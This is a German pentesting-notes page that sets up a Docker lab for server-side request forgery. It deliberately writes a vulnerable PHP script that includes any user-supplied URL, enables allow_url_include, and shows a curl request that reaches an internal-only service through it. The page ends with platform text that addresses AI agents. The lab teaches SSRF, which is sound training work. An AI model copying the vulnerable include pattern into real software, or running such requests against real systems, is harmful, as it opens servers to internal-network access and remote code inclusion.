> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-request-forgery-ssrf/ssrf-curl-pentesting-web.md).

# SSRF Curl

## Installation des zweiten Szenarios (SSRF-Schwachstelle)

* Vorherige Container entfernen:

```bash
docker rm $(docker ps -a -q) --force
docker network create --driver=bridge network1 --subnet=10.10.0.0/24

```

* Erstellen Sie drei Container (**Post-Production, öffentliches Web und Angreifer**):

```bash
docker run -dit --name PRO ubuntu
docker network connect network1 PRO # um die IP-Adresse zuzuordnen

```

Webserver-Maschine (**Post-Production**): ![](/files/066764b11210dac3db61cb450d10a7b926a18939)

```bash
apt install apache2 php nano -y
service apache2 start

```

* In **/var/www/html**, erstellen Sie eine `utility.php` Datei ein:

```php
<?php
if (isset($_GET['url'])) {
    $url = $_GET['url'];
    echo "/n[+] Auflisten des Website-Inhalts von " . $url . ":/n/n";
    include($url);
} else {
    echo "/n[!] Es wurden keine Werte für den URL-Parameter angegeben/n/n";
}
?>

```

* In diesem Fall **rendert es** nicht richtig: ![](/files/8837244a6e0a93143b09a4bf69a3ff802013d948)
* Dazu müssen Sie diese Datei ändern: **"/etc/php/8.1/apache2/php.ini"** indem Sie \_allow/\_url/*include* auf on setzen: ![](/files/4f4cb71f7292a08d71ee81542693eb19fe72fc82)
* Starten Sie den Dienst neu **apache2**:

```bash
service apache2 restart

```

* Erstellen Sie eine **login.html** Datei in `/tmp/` die eine Login-Seite auf der öffentlichen Website simuliert:

```html
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Login-Seite</title>
<style>
Body {
  font-family: Calibri, Helvetica, sans-serif;
  background-color: rose;
}
button {
       background-color: #4CAF50;
       width: 100%;
        color: orange;
        padding: 15px;
        margin: 10px 0px;
        border: note;
        cursor: pointer;
         }
 form {
        border: 3px solid #f1f1f1;
    }
 input[type=text], input[type=password] {
        width: 100%;
        margin: 8px 0;
        padding: 12px 20px;
        display: inline-block;
        border: 2px solid green;
        box-sizing: border-box;
    }
 button:hover {
        opacity: 0.7;
    }
  .cancelbtn {
        width: auto;
        padding: 10px 18px;
        margin: 10px 5px;
    }
 .container {
        padding: 25px;
        background-color: lightblue;
    }
</style>
</head>
<body>
    <center><h1>Studenten-Login-Formular (PRO)</h1></center>
    <form>
        <div class="container">
            <label>Benutzername:</label>
            <input type="text" placeholder="Benutzernamen eingeben" name="username" required>
            <label>Passwort:</label>
            <input type="password" placeholder="Passwort eingeben" name="password" required>
            <button type="submit">Anmelden</button>
            <input type="checkbox" checked="checked"> Angemeldet bleiben
            <button type="button" class="cancelbtn">Abbrechen</button>
            Passwort vergessen? <a href="#">password ?</a>

    </form>
</body>
</html>

```

* Konfigurieren Sie nun die **Post-Production** Maschine:

```bash
docker run -dit --name PRE --network=network1 ubuntu

```

![](/files/3e738389e605a218d457277f0bcf2a5d8d5f213e)

```bash
apt install nano python3 curl -y

```

* Erstelle ein **HTML** Datei in `/tmp` mit dem folgenden Inhalt. Er sollte außerhalb des internen Netzwerks nicht sichtbar sein: `Sie sollten diesen Inhalt nicht sehen können, da er nicht extern freigegeben ist und zu einem Webdienst gehört, der auf einer Maschine im internen Netzwerk des Unternehmens gehostet wird.`
* Erstellung eines Webservers mit **Python3** auf Port 7878:

```bash
python3 -m http.server 7878

```

* Erstellen Sie schließlich den **Angreifer** Maschine:

```bash
docker run -dit --name ATTACKER ubuntu

```

![](/files/47e30ee20b9d05eb7bcad595978dc8158a681455)

Technisches Diagramm zum Verständnis des zweiten Szenarios (**Es gibt eine Website auf einer Linux-Maschine auf Port 8089, die nur aus dem internen Netzwerk sichtbar ist**):

<figure><img src="/files/85b1f322a2246a9c4f50c70bb812e3bd9f3f823d" alt="" width="563"><figcaption></figcaption></figure>

Vom **Angreifer** Container verwenden wir curl, um auf die Maschine zuzugreifen, auf der der Webserver läuft, aber es funktioniert nicht:

<figure><img src="/files/5fb729b1dcb7ba5a699741e2044bf3a096799779" alt=""><figcaption></figcaption></figure>

Aber wenn wir die **SSRF** Methode verwenden, können wir auf die versteckte Datei zugreifen:

```arduino
curl "http://172.17.0.2/utility.php?url=http://10.10.0.3:7878/"

```

<figure><img src="/files/7e0a930c805eb406e800768369756c5142ee5b59" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-request-forgery-ssrf/ssrf-curl-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
